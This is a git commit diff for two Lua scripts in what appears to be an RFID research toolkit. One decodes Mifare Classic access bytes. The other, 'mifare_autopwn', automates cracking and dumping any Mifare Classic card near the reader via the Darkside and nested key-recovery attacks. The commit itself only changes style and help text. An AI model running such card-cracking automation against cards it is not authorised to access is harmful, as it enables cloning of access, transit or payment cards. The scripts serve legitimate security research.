This commit is contained in:
iceman1001 2019-04-29 01:39:40 +02:00
commit 47fbb557b4
2 changed files with 57 additions and 45 deletions

View file

@ -2,11 +2,13 @@ local getopt = require('getopt')
copyright = '' copyright = ''
author = "Neuromancer" author = "Neuromancer"
version = 'v1.0.0' version = 'v1.0.1'
desc = [[ desc = [[
This script tries to decode Mifare Classic Access bytes This script tries to decode Mifare Classic Access bytes
]] ]]
example = 'script run mifare_access -a 7F0F0869' example = [[
1. script run mifare_access -a 7F0F0869
]]
usage = [[ usage = [[
script run mifare_access -h -a <access bytes> script run mifare_access -h -a <access bytes>
@ -24,20 +26,21 @@ local rshift = bit32.rshift
-- A debug printout-function -- A debug printout-function
local function dbg(args) local function dbg(args)
if not DEBUG then return end if not DEBUG then return end
if type(args) == "table" then if type(args) == 'table' then
local i = 1 local i = 1
while args[i] do while args[i] do
dbg(args[i]) dbg(args[i])
i = i+1 i = i+1
end end
else else
print("###", args) print('###', args)
end end
end end
--- ---
-- This is only meant to be used when errors occur -- This is only meant to be used when errors occur
local function oops(err) local function oops(err)
print("ERROR: ",err) print('ERROR:', err)
core.clearCommandBuffer()
return nil, err return nil, err
end end
--- ---
@ -49,6 +52,7 @@ local function help()
print(desc) print(desc)
print('Example usage') print('Example usage')
print(example) print(example)
print(usage)
end end
local access_condition_sector_trailer = {} local access_condition_sector_trailer = {}
@ -81,13 +85,13 @@ local function main(args)
-- Read the parameters -- Read the parameters
for o, a in getopt.getopt(args, 'ha:') do for o, a in getopt.getopt(args, 'ha:') do
if o == "h" then return help() end if o == 'h' then return help() end
if o == "a" then access = a end if o == 'a' then access = a end
end end
if access == nil then return oops('empty ACCESS CONDITIONS') end if access == nil then return oops('empty ACCESS CONDITIONS') end
if #access == 0 then return oops('empty ACCESS CONDITIONS') end if #access == 0 then return oops('empty ACCESS CONDITIONS') end
if #access ~= 8 then return oops("Wrong length. Should be 4 hex bytes ACCESS CONDITIONS (e.g. 7F0F0869)") end if #access ~= 8 then return oops('Wrong length. Should be 4 hex bytes ACCESS CONDITIONS (e.g. 7F0F0869)') end
local c2_b = tonumber(string.sub(access, 1, 1), 16) local c2_b = tonumber(string.sub(access, 1, 1), 16)
local c1_b = tonumber(string.sub(access, 2, 2), 16) local c1_b = tonumber(string.sub(access, 2, 2), 16)
@ -97,34 +101,34 @@ local function main(args)
local c2 = tonumber(string.sub(access, 6, 6), 16) local c2 = tonumber(string.sub(access, 6, 6), 16)
local gpb = string.sub(access, 7, 8) local gpb = string.sub(access, 7, 8)
if bxor(c1, c1_b) ~= 0xF then print("!!! bitflip in c1") end if bxor(c1, c1_b) ~= 0xF then print('!!! bitflip in c1') end
if bxor(c2, c2_b) ~= 0xF then print("!!! bitflip in c2") end if bxor(c2, c2_b) ~= 0xF then print('!!! bitflip in c2') end
if bxor(c3, c3_b) ~= 0xF then print("!!! bitflip in c3") end if bxor(c3, c3_b) ~= 0xF then print('!!! bitflip in c3') end
local ab = c1 * 256 + c2 * 16 + c3 local ab = c1 * 256 + c2 * 16 + c3
for block = 0,3 do for block = 0,3 do
print("--> block "..block) print('--> block '..block)
-- mask bits for block -- mask bits for block
local abi = band(rshift(ab, block), 0x111) local abi = band(rshift(ab, block), 0x111)
-- compress bits -- compress bits
abi = band(abi + rshift(abi, 3) + rshift(abi, 6),7) abi = band(abi + rshift(abi, 3) + rshift(abi, 6),7)
-- print(abi) -- print(abi)
if block == 3 then if block == 3 then
print(" KEYSECXA read: "..access_condition_sector_trailer[abi][1]) print(' KEYSECXA read: '..access_condition_sector_trailer[abi][1])
print(" KEYSECXA write: "..access_condition_sector_trailer[abi][2]) print(' KEYSECXA write: '..access_condition_sector_trailer[abi][2])
print(" ACCESS COND. read: "..access_condition_sector_trailer[abi][3]) print(' ACCESS COND. read: '..access_condition_sector_trailer[abi][3])
print("ACCESS COND. write: "..access_condition_sector_trailer[abi][4]) print('ACCESS COND. write: '..access_condition_sector_trailer[abi][4])
print(" KEYSECXB read: "..access_condition_sector_trailer[abi][5]) print(' KEYSECXB read: '..access_condition_sector_trailer[abi][5])
print(" KEYSECXB write: "..access_condition_sector_trailer[abi][6]) print(' KEYSECXB write: '..access_condition_sector_trailer[abi][6])
else else
print(" read: "..access_condition_data_block[abi][1]) print(' read: '..access_condition_data_block[abi][1])
print(" write: "..access_condition_data_block[abi][2]) print(' write: '..access_condition_data_block[abi][2])
print(" inc: "..access_condition_data_block[abi][3]) print(' inc: '..access_condition_data_block[abi][3])
print("decr, transfer, restore: "..access_condition_data_block[abi][4]) print('decr, transfer, restore: '..access_condition_data_block[abi][4])
end end
end end
print("GPB: "..gpb) print('GPB: '..gpb)
end end
main(args) main(args)

View file

@ -3,14 +3,18 @@ local lib14a = require('read14a')
local cmds = require('commands') local cmds = require('commands')
local utils = require('utils') local utils = require('utils')
example = "script run mifare_autopwn" copyright = ''
author = "Martin Holst Swende" author = "Martin Holst Swende"
desc = version = 'v1.0.1'
[[ desc = [[
This is a script which automates cracking and dumping mifare classic cards. It sets itself into This is a script which automates cracking and dumping mifare classic cards. It sets itself into
'listening'-mode, after which it cracks and dumps any mifare classic card that you 'listening'-mode, after which it cracks and dumps any mifare classic card that you
place by the device. place by the device.
]]
example = [[
script run mifare_autopwn
]]
usage = [[
Arguments: Arguments:
-h this help -h this help
-d debug logging on -d debug logging on
@ -33,7 +37,6 @@ local DEBUG = false
-- A debug printout-function -- A debug printout-function
local function dbg(args) local function dbg(args)
if not DEBUG then return end if not DEBUG then return end
if type(args) == 'table' then if type(args) == 'table' then
local i = 1 local i = 1
while result[i] do while result[i] do
@ -47,15 +50,20 @@ end
--- ---
-- This is only meant to be used when errors occur -- This is only meant to be used when errors occur
local function oops(err) local function oops(err)
print("ERROR: ",err) print('ERROR:', err)
return nil,err core.clearCommandBuffer()
return nil, err
end end
--- ---
-- Usage help -- Usage help
local function help() local function help()
print(copyright)
print(author)
print(version)
print(desc) print(desc)
print("Example usage") print('Example usage')
print(example) print(example)
print(usage)
end end
--- ---
-- Waits for a mifare card to be placed within the vicinity of the reader. -- Waits for a mifare card to be placed within the vicinity of the reader.
@ -67,7 +75,7 @@ local function wait_for_mifare()
if res then return res end if res then return res end
-- err means that there was no response from card -- err means that there was no response from card
end end
return nil, "Aborted by user" return nil, 'Aborted by user'
end end
local function nested(key,sak) local function nested(key,sak)
@ -85,7 +93,7 @@ local function nested(key,sak)
else else
print("I don't know how many sectors there are on this type of card, defaulting to 16") print("I don't know how many sectors there are on this type of card, defaulting to 16")
end end
local cmd = string.format("hf mf nested %d 0 A %s d", typ, key) local cmd = string.format('hf mf nested %d 0 A %s d', typ, key)
core.console(cmd) core.console(cmd)
end end
@ -146,14 +154,14 @@ local function main(args)
local print_message = true local print_message = true
-- Read the parameters -- Read the parameters
for o, a in getopt.getopt(args, 'hdk:') do for o, a in getopt.getopt(args, 'hdk:') do
if o == "h" then help() return end if o == 'h' then help() return end
if o == "d" then DEBUG = true end if o == 'd' then DEBUG = true end
if o == 'k' then key = a end if o == 'k' then key = a end
end end
while not exit do while not exit do
if print_message then if print_message then
print("Waiting for card or press any key to stop") print('Waiting for card or press any key to stop')
print_message = false print_message = false
end end
res, err = wait_for_mifare() res, err = wait_for_mifare()
@ -168,29 +176,29 @@ local function main(args)
-- check if PRNG is WEAK -- check if PRNG is WEAK
if perform_prng_test() == 1 then if perform_prng_test() == 1 then
print("Card found, commencing crack on UID", uid) print('Card found, commencing crack on UID', uid)
if #key == 12 then if #key == 12 then
print("Using key: "..key); print('Using key: '..key);
else else
-- Crack it -- Crack it
local cnt local cnt
err, res = core.mfDarkside() err, res = core.mfDarkside()
if err == -1 then return oops("Button pressed. Aborted.") if err == -1 then return oops('Button pressed. Aborted.')
elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).") elseif err == -2 then return oops([[Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).]])
elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).") elseif err == -3 then return oops([[Card is not vulnerable to Darkside attack (its random number generator is not predictable).]])
elseif err == -4 then return oops([[ elseif err == -4 then return oops([[
Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
generating polynomial with 16 effective bits only, but shows unexpected behaviour.]]) generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
elseif err == -5 then return oops("Aborted via keyboard.") elseif err == -5 then return oops('Aborted via keyboard.')
end end
-- The key is actually 8 bytes, so a -- The key is actually 8 bytes, so a
-- 6-byte key is sent as 00XXXXXX -- 6-byte key is sent as 00XXXXXX
-- This means we unpack it as first -- This means we unpack it as first
-- two bytes, then six bytes actual key data -- two bytes, then six bytes actual key data
-- We can discard first and second return values -- We can discard first and second return values
_,_,key = bin.unpack("H2H6",res) _,_,key = bin.unpack('H2H6',res)
print("Found valid key: "..key); print('Found valid key: '..key);
end end
-- Use nested attack -- Use nested attack
nested(key, sak) nested(key, sak)
@ -199,7 +207,7 @@ local function main(args)
if #key == 12 then exit = true end if #key == 12 then exit = true end
else else
print("Card found, darkside attack useless PRNG hardend on UID", uid) print('Card found, darkside attack useless PRNG hardend on UID', uid)
end end
print_message = true print_message = true
end end